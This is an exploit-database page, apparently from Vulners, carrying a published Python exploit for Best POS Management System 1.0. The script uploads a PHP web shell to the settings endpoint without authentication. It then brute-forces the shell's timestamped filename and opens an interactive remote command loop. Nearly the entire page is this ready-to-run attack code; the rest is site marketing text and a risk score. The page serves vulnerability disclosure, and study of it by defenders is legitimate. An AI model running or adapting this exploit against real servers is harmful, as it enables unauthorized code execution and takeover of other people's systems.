Vulners
Lucene search
Best POS Management System 1.0 Shell Upload
`# Exploit Title: Best POS Management System v1.0 - Unauthenticated Remote Code Execution
# Google Dork: NA
# Date: 15/5/2023
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Kali Linux
import sys
import requests
import subprocess
import time
if len(sys.argv) < 2:
print("\033[91mUsage: %s <IP>\033[0m" % sys.argv[0])
print("Example: %s 192.168.106.130" % sys.argv[0])
sys.exit(1)
ip = sys.argv[1]
url = f"http://{ip}/kruxton/ajax.php?action=save_settings"
def brute_force_timestamp(timestamp_prev, ip):
progress = 0
webshell = None
for i in range(20):
for j in range(0, 1000, 20):
timestamp = timestamp_prev - (timestamp_prev % 1000) + j + i
url = f"http://{ip}/kruxton/assets/uploads/{timestamp}_shell.php"
response = requests.get(url)
if response.status_code == 200:
webshell = url
break
progress += 1
print(f"Attempt {progress}/400", end="\r")
time.sleep(0.1)
if progress >= 400:
break
if webshell or progress >= 400:
break
if webshell:
print("\033[92m[+] Webshell found:", webshell, "\033[0m")
else:
print("\033[91m[-] Webshell not found\033[0m")
return webshell
def get_unix_timestamp():
timestamp = subprocess.check_output(['date', '+%s']).decode().strip()
return int(timestamp)
def extract_output(response_text):
start_tag = "<pre>"
end_tag = "</pre>"
start_index = response_text.find(start_tag)
end_index = response_text.find(end_tag)
if start_index != -1 and end_index != -1 and start_index < end_index:
output = response_text[start_index + len(start_tag):end_index]
return output.strip()
return None
def code_execution(webshell):
if not webshell:
print("\033[91mWebshell URI not provided\033[0m")
return
while True:
command = input("Enter command to execute (or 'exit' to quit): ")
if command == 'exit':
break
url = webshell + f"?cmd={command}"
response = requests.get(url)
output = extract_output(response.text)
if output:
print("\033[93m[+] Output:\033[0m")
print(output)
else:
print("\033[91m[-] No output received\033[0m")
data = '''\
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="name"
test
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="email"
[email protected]
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="contact"
9000000000
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="about"
test
-----------------------------49858899034227071432271107689
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/x-php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
-----------------------------49858899034227071432271107689--'''
headers = {
'Host': f"{ip}",
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'multipart/form-data; boundary=---------------------------49858899034227071432271107689',
'Content-Length': str(len(data)),
'Connection': 'close'
}
timestamp_prev = get_unix_timestamp()
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200 and response.text == '1':
print("[+] Timestamp: %s" % timestamp_prev)
print("\033[92m[+] Successly uploaded shell! Unauthenticated! \033[0m")
webshell = brute_force_timestamp(timestamp_prev, ip)
code_execution(webshell)
else:
print("Did not worked")
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 May 2023 00:00Current
7.1High risk
Vulners AI Score7.1